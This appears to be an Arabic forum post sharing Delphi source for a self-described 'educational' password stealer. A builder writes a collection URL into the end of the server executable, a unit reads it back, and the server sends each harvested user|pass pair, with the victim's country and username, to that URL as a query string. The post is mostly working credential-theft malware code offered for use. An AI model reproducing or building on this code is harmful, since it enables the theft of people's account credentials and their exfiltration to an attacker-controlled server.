ستلر تعليمي من برمجتي

[onexite]

البويلدر

PHP كود :

program builder;

uses
  Dialogs;

procedure WriteEof(FileName, Res, Delimit1, Delimit2 :String);
var
  F: TextFile;
begin
  AssignFile(F,FileName);
  Append(F);
  Writeln(F,Delimit1+Res+Delimit2);
  CloseFile(F);
end;

 var opn:TOpenDialog ;
begin
  opn:=TOpenDialog.Create(nil);
  opn.Filter:='*.exe';
  opn.Title:='Select Server..';
  opn.FileName:='Project3.exe';
if  opn.Execute then  begin
try
    WriteEof(opn.FileName, inputbox('url','type url :','http://127.0.0.1/site_01/get.php'), '|1|', '|2|') ;
    ShowMessage('ok');
  finally
  opn.Free
  end;
  end;
end. 


PHP كود :

unit uReadFile;

interface
uses Windows;

var url:string;
function ReadEof(x1, x2 :String) :String;

implementation

function ReadFile(FileName: String): AnsiString;
var
  F :File;
  Buffer :AnsiString;
  Size,ReadBytes :Integer;
  DefaultFileMode:Byte;
begin
  Result := '';
  DefaultFileMode := FileMode;
  FileMode := 0;
  AssignFile(F, FileName);
  Reset(F, 1);
  if (IOResult = 0) then
  begin
    Size := FileSize(F);
    while (Size > 1024) do
    begin
      SetLength(Buffer, 1024);
      BlockRead(F, Buffer[1], 1024, ReadBytes);
      Result := Result + Buffer;
      Dec(Size, ReadBytes);
    end;
    SetLength(Buffer, Size);
    BlockRead(F, Buffer[1], Size);
    Result := Result + Buffer;
    CloseFile(F);
  end;
  FileMode := DefaultFileMode;
end;

function ReadEof(x1, x2 :String) :String;
var
  Buffer:AnsiString;
  ResLength,i, Posx :Integer;
begin
  Buffer := ReadFile(ParamStr(0));
  if Pos(x1, Buffer) > Pos(x2, Buffer) then
    Posx := Length(Buffer)-(Pos(x1, Buffer)+Length(x1))
  else Posx := Length(Buffer)-(Pos(x2, Buffer)+Length(x2));
  Buffer := Copy(Buffer, (Length(Buffer)-Posx), Length(Buffer));
  ResLength := Pos(x2, Buffer)-(Pos(x1, Buffer)+Length(x1));
  for i := 0 to (Reslength-1) do
    Result := Result+Buffer[Pos(x1, Buffer)+(Length(x1)+i)];
end;
end. 


وتعديل السرفر

PHP كود :

program Project3;
uses
  WindowsLive in 'WindowsLive.pas',
  unitfunctions in 'unitfunctions.pas',
  uReadFile in 'uReadFile.pas';

var i:integer;
begin
url:=ReadEof('|1|','|2|');
for I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl(url+'?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 


الكتابة في ملف تنفيذي لقد وضعت موضوع من قبل
Write EOF, Read EOF مع مثال بسيط